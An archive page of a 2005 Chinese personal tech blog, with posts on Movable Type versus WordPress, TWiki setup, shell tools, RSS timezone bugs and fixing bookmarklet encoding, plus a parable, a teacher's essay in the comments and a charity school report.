在实际的使用过程中，我也能感受到MT的很多问题，现将MT和WP的优缺点对比如下： 1 安装：程序分别部署在cgi-bin 和发布目录下，比较难于维护。相比之下：WordPress的安装显得清晰很多； 2 调试：基于Perl，在虚拟主机不提供日志的情况下，MT的安装过程出现问题后非常难调试； 3 浏览机制：相对于于小型网站：在访问量不大的情况下：WP可以提供比MT更方便的类聚和扩展浏览模式；在SEO方面：WP利用path_info机制也能达到和MT一样的效果。

WordPress的安装（需要有MySQL数据库支持） 1 下载：最新版本http://wordpress.org/download/ 2 修改配置文件：wp-config-sample.php define(‘DB_NAME’, ‘db name’); // The name of the database define(‘DB_USER’, ‘db username’); // Your MySQL username define(‘DB_PASSWORD’, ‘db password’); // …and password define(‘DB_HOST’, ’localhost’); // 99% chance you won’t need to change this value 另存成 wp-config.php 3 在虎翼网上：由于不能支持phpversion() 函数：需要将 wp-settings.php 文件中的16,17行改成： if ( !(‘4.3.2’ >= ‘4.1’) ) die( ‘Your server is running PHP version ’ . ‘4.3.2’ . ’ but WordPress requires at least 4.1’ ); 或者干脆删除这2行：如果能保证服务器端PHP版本在4.1以上 4 上传文件：按照 http://www.example.com/wp-admin/install.php 的提示进行安装。

SpamLookUp: MT推荐的防SPAM插件

Sun, 19 Jun 2005 01:42:22 +0800

SpamLookup - Trac是最近被推荐的MT防SPAM工具之一：但是在51.net上安装的过程中缺遇到了Perl的版本过低导致的： Can’t locate object method “splitdir” via package “File::Spec"问题：今天想了一个简单的方法解决了：就是用
my @path_segs = split(”/", $PLUGIN_DIR); 代替了原来的： my @path_segs = File::Spec->splitdir($PLUGIN_DIR); 牺牲了一点平台无关性。

SpamLookUp最重要的一点就是弥补了MT中缺乏一个像WP一样的针对Comments和TrackBack Ping的模糊查找工具。

我测试了一下：通过主要的被spam关键词其实可以过滤出大部分spam 相对于MTBlacklist的自动发现域名机制，关键词更有效一些。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

number5 · 2005-06-19 14:31

又是一个只支持MT 3.1的anti-spam plugin 只能拿MTBlacklist先顶着，直到我有时间迁移到WordPress

给数据库的加上统一的前缀名：很体贴的设计

Sun, 19 Jun 2005 00:43:47 +0800

用到的很多小应用中：数据的设计都遵循了加入前缀名的规范。这样可以有效的避免用户在虚拟主机上只有一个数据库限额的时候不同应用之间的表重名问题。比如： MovableType是mt_开头， WordPress是wp_开头 wakka是以wakka_开头，

而且以上这些应用是可以在安装时候使用不同的扩展名的：这样也便于同一个应用的不同版本存放在一个数据库里相互不影响。

以下是这些应用的表名列表： mt_author mt_blog mt_category mt_comment mt_entry mt_fileinfo mt_ipbanlist mt_log mt_notification mt_permission mt_placement mt_plugindata mt_session mt_tbping mt_template mt_templatemap mt_trackback wakka_acls wakka_links wakka_pages wakka_referrers wakka_users wp_categories wp_comments wp_linkcategories wp_links wp_options wp_post2cat wp_postmeta wp_posts wp_users

另外，以上3个应用的一个共同点是：对外应用入口统一。比如： MT是mt.cgi WP是index.php Wakka也是index.php 这也是一种封装的比较好的设计模式，便于系统的维护。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Platinum · 2005-06-20 11:42

好像我见过的 PHP BBS 都是在安装过程中的时候要数据库地址密码的时候顺便问一下表名前缀，因为绝大多数用户都在用虚拟主机，只有一个库可以管理。

用户对Web资源的再次访问具有集簇性

Fri, 17 Jun 2005 00:02:20 +0800

今天仔细看了北大王伊敏写的Web Mining，其中提到F. Douglis 等研究发现（1997）用户对Web资源的再次访问具有集簇性。估计F. Douglis当时是为了研究缓存做的研究：因为其中的一些结论对于缓存周期的设计非常有帮助：最显著的是一分钟和一天。用户访问的平均时间间隔为25.4个小时，而中间值为1.9小时，49.6小时后的平均方差下降很小。

很巧合，从我以前经验值来看：将页面设置为网页在客户端2个小时后过期的确是最高效而又不影响页面更新的：因为用户在2个小时内再次访问当前页面，主要的目的是回来看刚才看过的内容，这个时候浏览器能够帮助用户快速从本地缓存中看到。

下一步我打算做一个试验：将首页Lilina显示的RSS信息控制在50个小时以内（目前是7天168小时），对于大部分人来说：回顾50个小时以内的内容就足够了。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

ayya · 2005-09-03 05:20

在管制严格的今天，如果有一条东西在两小时内存在，要执行宫刑了。

但是squid有mrtg的功能，这个可以制定更新缓存的一条内容，要好好利用才能避险。

AJAX = Asynchronous + JAvascript + Xml via http

Thu, 16 Jun 2005 23:26:00 +0800

看到：王建硕: AJAX - 老酒有了新瓶子，立刻涂鸦了两下，。也想到了我去年用过的在线即使贴http://www.aypwip.org/webnote/chedong。当时还没有AJAX这么一个又好记又形象的名字： ~~App~~ Asynchronous + JAvascript + Xml via http 算是一个巧妙的技术组合吧：好比是用你用awk + perl形成一套工具箱一样。

说Tipping point的一个很重要的因素就是这个引爆人的号召力。AJAX算是的一个经典的案例。

纠错：王建硕：Asynchronous + JAvascript + Xml via http

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

duduwolf · 2005-06-17 00:14

ajax带来的更多是对技术挖掘的无比创意。 ajax最重要的一点是异步，这个异步是非常舒服平滑的。

ShiningRay · 2005-10-12 12:43

it is “Asynchronous JavaScript and XML” not Asynchronous + JAvascript + Xml via http

TWiki的安装,配置和用户管理

Sun, 12 Jun 2005 09:46:25 +0800

TWiki是一套基于Perl的wiki实现（为什么又是perl?）：功能强大,速度很快，核心存储使用纯文本实现，不需要数据库的支持，因此非常适合企业级的大规模应用：在很多公司都有成功的应用案例。

Wik应用路径相对传统内容发布系统比较固定和扁平, 内容之间的连接也非常多充分体现了Well referenced with easy navigation…. http://www.chedong.com/twiki/bin/view/TWiki/TWikiPreferences http://www.chedong.com/主目录/程序目录/动作/子库名/页面

TWiki本身的配置分成3级网站级别: 站点级别的配置都在TWiki/目录下TWikiPreferences ChangePassword ResetPassword等目录级别: 每个目录下的WebPreferences文件中设置比如 Main/WebPreferences 页面级别: 每个页面可以设置一些访问参数

搭建使用TWiki的时候, 会发现TWiki中很多的配置居然也是用WIKI页面管理的: 真正将模板技术用到了及至。具体的配置位于TWiki/TWikiPreferences TWiki语法本身就是一个非常完整的模板语言, 而网站的很多设置都可以使用 Set PARAMETNAME = value 这样的语法进行设置

以下是我在安装时的备忘：（不断更新中）

2006-1-1更新： 1 增加了认证和用户分组方面的配置说明; 2 增加了文德的参考文档;

从TWiki.org下载最新稳定版本： Wiki20040902.tar.gz那个版本有安全漏洞，我最近下载到的是 TWiki20040904.tar.gz

将twiki解压缩后移动到/home/apache/twiki目录下：将目录下的文件设置为apache服务可以读写, 比如apache实用nobody 用户运行, 那么twiki目录下也要设置为nobody读写.

目录下的列表分布:

bin <== scripts data <== data: the all meta: structure data and un-structure data index.html <== default page lib <== support libary license.txt <== License pub <== the public data pub-htaccess.txt <== pub readme.txt <== README robots.txt <== robots.txt: crawler scripts root-htaccess.txt <== example of root .htaccess file subdir-htaccess.txt <== example of .htaccess file in sub directory templates <== default templates TWikiDocumentation.html <== TWiki documents TWikiHistory.html <== TWiki history UpgradeTwiki <== Upgrade scripts
缺省的 data 目录下：
debug.txt <== debug log _default <== default templates wiki page log200501.txt <== monthly logs log200503.txt <== monthly logs log200504.txt <== monthly logs log200505.txt <== monthly logs Main <== package Main(default) mime.types <== apache configure Sandbox <== package Sandbox(testing / trail) Trash <== package Trash bin TWiki <== package Twiki: admin porpose warning.txt <== warning log
每个目录下：就是一个“库” 一个文件 + 一个版本文件
WebHome.txt WebHome.txt,v

编辑时还会有临时：锁定文件 WebHome.lock

GNU工具箱：充分用命令行代替SQL

Wed, 08 Jun 2005 19:35:19 +0800

最近Winter刚教会了我一个文件比较命令: comm，是一个比diff更简单的取2个文件交集/补集的方法。原先以为需要用join 2个表的方法，现在很少几个参数就实现了。

随着时间的积累，我发现原先很多需要用数据库才能实现的排序，过滤，分列输出其实都可以shell代替了：而且效率更高。目前正在整理积累起来的oneliner工具集，经常使用的有： awk: 可用用作select 控制指定列的输出，并且附带了length() mod 等简单函数，通过if条件还可以实现更复杂的判断逻辑，而且比perl更容易读 sed: 控制到某一行的输出相当于limit 30,40 perl：正则表达式过滤，替换，非常强大，网上可以找到很多的one liner的现成工具，不过阅读起来有些困难； sort: 相当于 order by uniq: 相当于distinct grep: 相当于like, not like wc: 相当于count()

再加上翻页输出more head等。结合报表输出工具：GNUPlot，R-Project等，就可以生成漂亮的报表了。谈不上数据挖掘，但是用于一些简单actionable data采集确实是非常快速有效。

传统的数据库思维对于开发人员来说是一种“瓶颈”：有很多应用是完全可以用比数据库更简单的结构（方法）实现的，这也是为什么除了Oracle这样功能丰富的数据库系统外，MySQL SQLLite gDBM等轻量级数据结构存在和发展的原因。其次：数据库工具很多都是面向精确输出的，但是对于海量数据的处理来说，很多特定应用的精确性其实可以要求不那么高，比如：搜索引擎，最重要的是用很快的速度将最好的TOP 10结果提供给用户。

而相对于Excel表格，命令行工具优势在于长期的后台（非交互式的）自动数据统计，一件事情如果能自动运行，好处真是太多了。

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

rocksun · 2005-06-08 22:42

UNIX shell的语法太没规律了，除非天天用，几天就忘干净了，每次都要查

qyb · 2005-06-09 09:21

我觉得 perl 应该独立出来，perl 实在和其它工具不是一个档次的：

expr/sed/sort/uniq/wc/[e]grep/head/tail/xargs/find 等等这些属于 shell 的增强工具

awk 几乎可以算一个 mini 的脚本语言了

perl 已经很高级了，尤其是无数的 cpan 包..不过在我们团队内目前 php 处于类似的地位.

zxhred · 2005-06-10 11:46

不实的RSS时间好比是假的牛奶生产日期

Tue, 07 Jun 2005 19:47:35 +0800

如果牛奶的生产时间都被标记为实际生产时间的8小时以后：这不就是欺骗吗？

我已经至少为4个基于WordPress发布的BLOG纠正RSS输出时间问题了：未完成 ilya 桑林。因为他们都在我的Lilina RSS订阅里，如果时区错误，会导致8个小时内，所有别人的文章都排在他们后面。现在是豆瓣，明明是中午12:36发表的内容，却显示为20:36。

同时我也检查了一下WordPress的支持论坛：至少有5个帖子指出了这个timezone问题， WordPress用户怎么就不主动参与纠正一下呢？

我看到del.icio.us已经修正了他们的RSS问题，del.icio.us在美国，所以是显示发表时间为实际时间-7个小时。

我最近同步blogbus的FEED的时候遇到了时间字段的解析问题： http://blog.cnblog.org/ 所有blogbus的RSS时间都是有问题的，因为声明RSS 1.0却遵循了RSS 2.0中的时间格式。

2006-03-08 后记：同步blogbus的FEED的时候遇到了时间字段的解析问题： http://blog.cnblog.org/

所有blogbus的RSS时间都是有问题的，因为声明了RSS 1.0 确遵循了RSS 2.0中的时间格式。错误样例：http://nextfuzhou.blogbus.com/index.rdf dc:subject找一颗心在福州</dc:subject> dc:subjecttrackback</dc:subject> dc:dateWed, 01 Mar 2006 21:35:18 +0800</dc:date>

正确的样例：RSS 1.0 http://www.chedong.com/blog/index.rdf dc:subject技术笔记|Tech Notes</dc:subject> dc:creatorchedong</dc:creator> dc:date2006-03-05T22:40:30+08:00</dc:date>

正确的样例：RSS 2.0 http://www.chedong.com/blog/index.xml Sun, 05 Mar 2006 22:40:30 +0800

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

shunz · 2005-06-07 21:54

rss 2.0的pubdate时间格式确实比较麻烦:) 我的好像没问题

Meng Yan · 2005-06-08 10:02

同意，其实是一件很简单的事儿，如果是自己写的程序，取时间的时候加上时区就好了。

Tangos · 2005-06-08 12:10

你好像指出的是我的WP的中文本地化后产生的问题，而时区问题是我在你的那篇文章的启发下发现的:)，不过我好像感觉最新版的WP已经解决了时区的问题了啊

andy · 2005-06-08 12:49

有人反应Terac Miracle的RSS时区也有问题，检查了一下，还真是，比如Tue, 7 Jun 2005 22:35:00 CST应该为Tue, 07 Jun 2005 22:35:00 +0800。正在改造中。。。

写一篇BLOG不难，可贵的是坚持和质量

Tue, 07 Jun 2005 00:16:19 +0800

王建硕: 今天是我写blog的第999天

提到的很多方面我也很有同感： 1 注册自己的域名：最好是自己的真实姓名； 2 使用统计系统：迅速的反馈对写作是一个很好的激励，没有人喜欢孤芳自赏。我使用的是AWStats 3 提醒一点：即使是托管在服务商那里：也要注意本地备份；

其实在MT上的确“浪费”了不少时间。总体上我还是越来越多的使用一键式的LinkBlog和PhotoBlog了。但是即使对于del.icio.us我觉得也应该注意不要滥用：多写一些评论和上下文。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

老康 · 2005-06-07 19:38

我才发现wangjianshuo和chedong都符合第一条耶:)

常用的3个bookmarklet： Mt it + del.icio.us it + FlickR it

Sun, 29 May 2005 00:52:18 +0800

MovableType/FlickR/del.icio.us是我最常用的3个blog工具：MT用于写一些篇幅稍长的文章，del.icio.us是link blog，用于收藏随时看到的网页资料，FlickR是图片blog，用于看图说话。

而这3个服务恰好都被FeedBurner支持：形成了一个我的个人专辑。

这3个服务都不约而同的提供了方便的JavaScipt快捷键，称之为：bookmarklet。将他们的添加到链接栏上以后，可以将当成一个发布/编辑快捷键使用：可以将当前网页的标题/链接/图片转贴到del.icio.us/mt/flickr上。后2个服务我都是在安装并熟悉使用了bookmarklet后，才开始大量使用的，看来发布的易用性是决定用户使用频度的关键因素。

del.icio.us it 安装位于张贴URL界面下面：http://del.icio.us/post/，而且不止一个，还有很多组合。

Hacking: 原来的bookmarklet有一个IE的escape函数对多字节缺省使用Unicode方式导致的问题（目前已经解决） javascript:location.href=‘http://del.icio.us/chedong?url='+escape(location.href)+'&title='+escape(document.title) 比如收藏标题为中文的时候：中文在IE中缺省被编码成为%u4EBA http://del.icio.us/chedong?url=http%3A//www.chedong.com/blog/archives/000646.html&title=Lilina%uFF1ARSS%u805A%u5408%u5668%u6784%u5EFA%u4E2A%u4EBA%u95E8%u6237%28Write%20once%2C%20publish%20anywhere%29 而del.icio.us在服务器端又没有很好的解析，所以标题成了Lilina%uFF1ARSS%u805A%u5408%u5668%u6784%u5EFA%u4E2A%u4EBA%u95E8%u6237%28Write%20once%2C%20publish%20anywhere%29

正确的解决方法是用encodeURI代替escape函数：这个函数从IE 5.5+ Mozilla开始支持： javascript:location.href=‘http://del.icio.us/chedong?url='+escape(location.href)+'&title='+encodeURI(document.title)

这样看到的中文标题就是：%EF%BC 这样的双字节编码了，del.icio.us会在服务器端urldecode回来 http://del.icio.us/chedong?url=http%3A//www.chedong.com/blog/archives/000646.html&title=Lilina%EF%BC%9ARSS%E8%81%9A%E5%90%88%E5%99%A8%E6%9E%84%E5%BB%BA%E4%B8%AA%E4%BA%BA%E9%97%A8%E6%88%B7(Write%20once,%20publish%20anywhere)

del.icio.us的网页标题/扩展部分的评论注释在250个字节内，我一般尽量充分利用这2个区域。希望别人看到时也能尽量多的得到一些辅助信息。

MT it

安装：在主菜单的右下角，mt.cgi?__mode=bookmarklets 称之为QuickPost QuickPost Setting up QuickPost to post to Movable Type allows you to perform one-click posting and publishing without ever entering through the main Movable Type interface.

为什么同样使用escape函数，del.icio.us中的问题在MT中没有出现呢？MT it的代码如下： javascript:d=document;w=window;t=’’;if(d.selection){t=d.selection.createRange().text}else%20if(d.getSelection){t=d.getSelection()}else%20if(w.getSelection){t=w.getSelection();}void(w.open(‘http://www.chedong.com/cgi-bin/mt/mt.cgi?is_bm=1&bm_show=category,excerpt,text_more&__mode=view&_type=entry&link_title='+escape(d.title)+'&link_href='+escape(d.location.href)+'&text='+escape(t),'_blank','scrollbars=yes,width=400,height=650,status=yes,resizable=yes,scrollbars=yes'))

我在MT的代码中找到了答案：MT是在服务器端进行URLDecode处理时，能够对%u4EBA这样的编码进行识别具体位于：extlib/CGI/Util.pm

unescape URL-encoded data

sub unescape { shift() if @_ > 1 and (ref($[0]) || (defined $[1] && $_[0] eq $CGI::DefaultClass)); my $todecode = shift; return undef unless defined($todecode); $todecode =~ tr/+/ /; # pluses become spaces $EBCDIC = “\t” ne “\011”; if ($EBCDIC) { $todecode =~ s/%([0-9a-fA-F]{2})/chr $A2E[hex($1)]/ge; } else { $todecode =~ s/%(?:([0-9a-fA-F]{2})|u([0-9a-fA-F]{4}))/ defined($1)? chr hex($1) : utf8_chr(hex($2))/ge; } return $todecode; }

什么是个人门户: spaces.msn vs. 360.yahoo

Sat, 28 May 2005 21:32:05 +0800

这个是我在spaces.msn登录后的样子：可能大多数人都和我一样，spaces.msn.com刚开始注册的时候新鲜了一阵，随后就荒废了。没有坚持下去的原因很多，没有反馈刺激是一个很重要的原因。最大败笔就在右下角的更新的空间，谁会经常去关心一群不认识人？我更希望在右下角的是一个我MSN好友的最近SPACES的滚动更新展现（而且不能是名字列表：否则还需要我一一点击查看）。

360.yahoo.com：我倒是愿意时不时的上去看看虽然我平时不是每天都有内容可写，但是可以经常看到有趣的东西（公司里总有小蜜蜂愿意给大家群发一些搞笑的内容，现在都通过360了），写两句留言鼓励一下还是很方便的。感觉是自动将雅虎通朋友们的BlogLines起来了。

虽然360需要朋友邀请，注册不是很容易，发展速度也许不如MSN快，但正是由于邀请的关系存在，360这些朋友都是我的同事或者认识的网友，反而使得产品的粘度增加了（缺省首页就是我的亲朋好友的RSS最新订阅），感觉这种发展更有质量。

给MSN Spaces的建议：一定要有一个聚合界面，将MSN上的朋友的最新内容通过RSS聚合在一起：来自认识的人反馈的几率高，从而还能激励自己写更多的内容。 2005-06-23 很多朋友向我指出MSN提供了这个功能：自定义模板但是正如王建硕所说：如果需要学习才能使用的功能，这个设计本身就是一个易用性很差的设计。用户的学习成本太高了。

给my.yahoo的建议：减少登录输入次数：记住COOKIE的时间更长一点。一个更开放的聚合工具，将MSN上朋友的所有RSS，批量导入到MY.YAHOO中…… 一个更开放的再发布工具，将订阅的RSS像BlogLines那样能再发布出来……

晚上同时见到了4个Blogger：六翼，Keso，横戈，TopKu。他们的真名分别是：卢亮，洪波，窦毅，陈志东。席间谈的最多的当然还是blog/sn服务和搜索引擎，我通过他们的精力大概对比了一下spaces和360，对个人门户是什么样有了一些更清晰的认识。

目前的实践都证明：没有内容的SN网站是没有生命力的。太多social networks服务你上去一两次之后就会失去兴趣：人聚齐了，不知道做什么是一个比较普遍的问题，因此很多SN无法长期使用。

而没有SN的BSP服务也是用户很容易流失：目前BLOG服务的平均寿命是2个月，很清晰的说明了这一点：得不到足够的反馈刺激，用户很快会失去了更新的动力。

以前的BLOG写作是怎么坚持下来的：有发现吗：BLOG这个词几乎是和GOOGLE一起发展起来的，简单的说：BLOG写作就是依靠搜索引擎的影响力坚持下来的，搜索引擎对于BLOG：实际上是依靠关键词搜索建立起来的一个开放式的Social Network，blogger从搜索引擎中的影响力得到足够的反馈激励。但是这个获得反馈的过程需要比较漫长的积累：尤其一开始自己建立网站的时候，更显得很不容易。

其实对于已有大量注册用户的服务商开发系统应该注意将原有将SN机制加入到BLOG服务中：用户可以更方便的通过已有联系中发现自己原有的社交网络，从而为自己的BLOG预先准备好一个读者群，而用户如果能方便的看到其他人的内容源更新，又可以诱发用户写更多的内容/评论，从而良性的促进SN社群的可持续发展。希望有服务能自动将我的MSN和雅虎通上联系人的SPACES、360自动订阅一圈：导入BlogLines。

所以，我个人比较理想的个人门户应该是my.yahoo聚合+360.yahoo发布+BlogLines分享（可分组），你每天看到的信息应该是自动更新的，而且是你关心人的内容。

小结：当前太多的SN服务可以短时间聚齐很高的人气却无事可做；而BLOG服务最大的问题是新用户写了内容却无人喝彩；

结论： SN服务要想办法为用户提供内容；做BSP需要考虑结合SN服务，将用户联系起来形成足够的反馈，而不是仅靠搜索引擎将用户联系起来；

BTW: 王建硕问我：为什么自己网站的首页改版成了RSS聚合我很难一直保持BLOG的高产状态，我的初衷是没有太多的内容要发表的时候，也要能对得起每天来看这里首页的观众。

至少我自己每天来看看：自己关心领域的最新动态，有机会也给其他人发发留言之类的。有时候真的看到了感兴趣的内容，也能促进自身的书写愿望。

💬 历史评论

以下 19 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

indigo · 2005-05-27 02:04

MSN Space 的更多功能会来自wallop，下一个版本中用户会体验到许多新奇的blog方式。

http://spaces.msn.com/members/indigoworld/Blog/cns!1p_q7dyUQizX_yoVMBptld7g!260.entry

花夫子 · 2005-05-28 22:33

我也有这样的一种观点：BLOG+WIKI+。。。，其他更好的稳定的平台，传播需要多渠道，或者说“输送通道”才能更好实现个人的目标。

flygbc · 2005-05-29 10:36

想用一下360yahoo,还有邀请函么?

ShiningRay · 2005-06-08 13:19

MSN Space的界面不是可以自定义么……

wyg · 2005-06-09 18:30

多么教育人的小故事啊

Tue, 24 May 2005 20:28:14 +0800

一个出家人在旅途中，碰到一个不喜欢他的人。连续好几天，好长的一段路，那人都用尽各种方法侮蔑他。最后，出家人转身问那个人：“若有人送你一份礼物，但是你拒绝接受，那么这份礼物是属于谁的？”那人答：“属于原本送礼那个人。”出家人笑着说：“没错。若我不接受你的谩骂，那就是你在骂自己？”

更多有趣的读后感：多么教育人的小故事啊。

💬 历史评论

以下 7 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

x5 · 2005-05-24 22:29

的确~

微微 · 2005-08-06 16:53

是的，很教育人！！！

cds · 2006-07-10 00:25

确实，很厉害的出家人有启发~~~~谢谢

cds · 2006-07-10 00:27

的确，出家人想法很深刻很有启发谢谢

jackie · 2007-01-13 20:01

恩，禅道…… 意义很深刻。

linyuxuan · 2007-02-22 21:28

教育小故事

鱼洞二小赖永琼

“十年树木，百年树人”。植物的生长有其自然规律，需耐心等待，生根、发芽、开花、结果是一个漫长的过程。育人是长期系统、复杂的过程，她更需要我们怀有一颗爱心，耐心等待。

发通知书的第二天，我收到了一张贺卡，贺卡上画着一个笑容满面的小男孩双手捧着一大把鲜花，有红的、黄的、绿的、紫的……十分美丽。旁边还工工整整地写着“衷心地感谢您，赖老师！衷心地祝福您，永远快乐，健康！——您的学生苏阅”。苏阅又进步了，他知道了感激，学会了关心别人，我真感到高兴。

苏阅的成长进步，让我知道了要真心地去关心、爱护一个学生，而且这种爱需要等待，需要宽容。苏阅生活在一个不健全的家庭里，父母在他三岁时就离了婚，父亲把他寄养在他的姑婆家。姑婆五十多岁，自己的孩子已经长大成人，因此对苏阅很娇贯，迁就。好动任信的他上幼儿园时就喜欢和同学发生矛盾，一年级时，贪玩、打游戏，甚至发展到不按时上学。姑婆无力管教他，在我多次劝说下父亲终于同意由苏阅的母亲带养。他的母亲是一位以打牌为职业的人，成天沉浸在麻将里，根本没有精力来管理他，当他犯错误时，他的母亲会狠狠地打他，常常是打得遍体鳞伤，有一次，头上的伤口还缝了五针。但父母的打骂并没有让他改掉撒谎、拿东西、进游戏室、打架等坏毛病，他就是我们班上的问题学生。每位任课老师都知道坐在第一排的那个大眼睛男孩坐不住，好动，从不听老师的讲课，也不完成作业，真拿他没办法。

这学期开学不久的一天下午，有一位学生到我办公室说：“赖老师快去！苏阅又打人了。”真是的，昨天他才因为和同学打架被我叫到办公室批评了，还写了说明书，怎么今天又犯毛病了，我一边往教室走，一边想。走到教室门口就看见苏阅正在和胡洪滔赤手空拳地搏斗，苏阅一边打，还一边说：“今天，我不把你打瘪，我不姓苏……”“住手！苏阅，你又犯毛病了！”我厉声叫道。苏阅松开手，气乎乎地回到自己的座位上，而胡洪滔的脸上已留下了几条红道道，刚才还比较勇敢，可见到老师，眼里的泪水怎么也噙不住，“哇——”地一声哭了起来，我连忙安慰他，不要哭，并派班长陪他到医务室擦药。再看苏阅一脸无所谓的样子，令我十分生气。但我还是尽量克制住自己的怒气，先把事情弄清楚后再说，于是，我蹲下身子，尽量和气地对他说：“苏阅，你能给我谈谈这件事吗？”苏阅沉默不语，但明显可以看出他没有刚才那么傲慢了。我又说：“苏阅你能谈谈今天为什么打架吗？如果你能诚实地说出来，老师会原谅你的，也可以不写说明书……”他开始断断续续地给我讲事情的经过，原来他在地上拾到一块很漂亮的橡皮，想占为己有，后来被胡洪滔发现了，说这块橡皮是他的，于是两人就打起来了。“为这块小小的橡皮而打架值得吗？”我没有过多地责备他，只是把这个问题留给他回答。第二天我买了一块一模一样的橡皮送给了他。

又是一个星期一的早上，苏阅始终不愿意坐着上课，要么站着，要么双膝跪在凳子上。下课后，我发现了他不坐的原因是：屁股被打开了花，坐着疼。问他为什么挨打？他说，半期考试没考好，挨了骂，心理不舒服，于是拿了妈妈皮包里的180元钱去打游戏……。他一边说一边用手捂着屁股，可能是疼，可能是害怕他的屁股再挨打。听了他的叙述，我没有批评他，而是亲自到医务室拿了一些药轻轻地敷在他的伤口上。第二天我借给苏阅一本有关电子游戏危害的书，让他认真阅读。下午放学后，又叫他的父母到学校来交谈有关教育苏阅的方法。告诉他们对待孩子的错误不能简单、粗暴，要分析产生的原因，找出补救的措施，特别强调，对孩子的教育要有耐心，千万不要急于求成，经常打骂孩子不但起不了教育的作用，还会让孩子产生暴力，不能形成健全的人格。

我一次又一次地宽容苏阅的过错，后半期，我明显感觉到他的进步：上课不那么好动了，作业也能完成。对于他每一点小的进步，我都会在全班表扬。期末考试，他居然双科都考上了九十分，这个成绩是我没有想到的。发通知书那天，我发给他一张进步奖，还奖励了一个大笔记本。苏阅双手捧着奖状和笔记本站在讲台上，向着同学、老师深深地鞠了一个躬，我看见他眼里噙满了泪水…… 古人云:“人非圣贤,孰能无过。”更何况是认识水平低的小学生, 他们极易发生过错行为。当学生犯错误时，我们要给多宽容，给他改正的机会，耐心地等待，帮助其自悟自醒，那么学生就会从“自甘落后”的阴影中走出来，自信地抬起头，一步步走向成功。每一个孩子摆脱幼稚，告别无知，健康地成长，都需要一个过程，让我们耐心等待，学会宽容，在等待中不忘播撒爱的阳光，让等待充满憧憬，寄托希翼。

文文 · 2008-04-13 19:53

感人

雅虎中国搜索团队送给白马雪山慈善小学的礼物

Thu, 19 May 2005 20:34:59 +0800

从Judie那里看到：启明星捐助行动，听说他们的捐款已经够了，于是五一期间寄去了雅虎中国搜索团队送给小朋友的十筒铅笔，附上我的一些旧书和乒乓球拍。今天收到尼玛的消息：“包裹已经收到了。”

白马雪山慈善小学的地址如下：云南省迪庆藏族自治州德钦县奔子栏乡邮政所转书松村大众慈善学校校长 (尼玛) 邮政编码: 674504

报告背景：Spaetlese于2005年5月期间赴德钦地区的梅里雪山旅行，专程拜访了位于奔子栏乡书松村的大众慈善小学，并送去了2000元人民币的个人和朋友的捐款、课本及其它物资。她参观了小学的旧舍和正建校舍，并仔细地与尼玛校长、英国义教Jane深谈，了解小学近年来发展的情况。

德钦县大众慈善学校 —— 尼玛校长的报告

德钦县大众慈善小学是以藏文教育为主的全免费民办学校。建校五年来，由最初的几名学生发展到目前的四十多位学生，其中残疾、孤儿、单亲以及特困户等占学生总数的75％。

目前校内70％的学生集中在14至18岁之间，分别在一至五年级。学生在学校可以学习藏文、英语、汉语等三种语言，现在只有语文、数学和体育课，未来将发展音乐、美术课。今年还将新增环保、劳动技能如雕刻等较实用的课程。

九年的义务教育制早二十年前已经在全国大部分地区实行，但是在藏区也到近几年才开始实行。在云南的迪庆州许多藏族同胞，只会说，不会写，藏文化渐渐流失的状况日趋严重。学校希望学生们在学好汉语和英语的同时，也不忘本民族的语言与文化。

德钦县大众慈善小学承担现有全部学生的学杂费及衣食住行的日常开销，其中包括课本、文具和食宿等费用。学生们在校时间为每年的3月1日至12月30日，余下的1月至3月气候寒冷，大雪封山，无法继续教学。

2000年，由德玛老师等人以学习班的形式，主要以藏文进行教学。2001年3月15日，学校的教室与宿舍一体面积100平方米（借用），教师3人，学生12人，每位教师捐赠生活费4000元。2002年3月1日小学搬至通堆自然村，客厅、宿舍、教室和餐厅共400平方米，借用通堆水自然村的舞堂，教师3人，学生增至22人。2003年3月1日学校又搬至通堆水，位于214国道200米的一处山腰处，教师3人，炊事员1人，学生增至28人。

尼玛校长向农村合作信用社贷款3万元购木料建校舍（后此款由英国慈善基金会归还信用社）。后来尼玛校长又筹集3.6万元，其中8000元付征用手续费，购木料6000元左右，剩余2.2万元用于日常生活开销。

20004年3月1日，学校搬至214国道距奔子栏乡32公里处。学校正式更名为：德钦县大众慈善学校。学校教师增至5人（其中新增外教1人，语文教师1人）、炊事员1人、学生增至43人。期间，学校还收到了当地民政局捐赠的8吨大米及其它生活用品、文具等物资。

2005年学校教师共6位，学生40位，预计全年日常生活开支57105（4.5元/人/天），医疗费8000元（170元/人/年），课本费2000元/学期。其它开销还包括电话费、猪饲料和课桌椅床等等。

自2004年搬至214国道附近以后，不少游客和社会群体捐赠物资给小学，相对减轻了学校的负担，改善了学生的生活环境。但是，零散的物资并不能支撑学校的正常运作。

目前，学校由英国慈善基金会及慈善人士Carol等人的捐款，位于214国道距奔子栏乡31公里处修建新学校主体工程（包括教室3间、宿舍8间、食堂1间），工程建筑图纸由英国慈善基金会设计，预算56万元人民币，计划于8月30日完工。

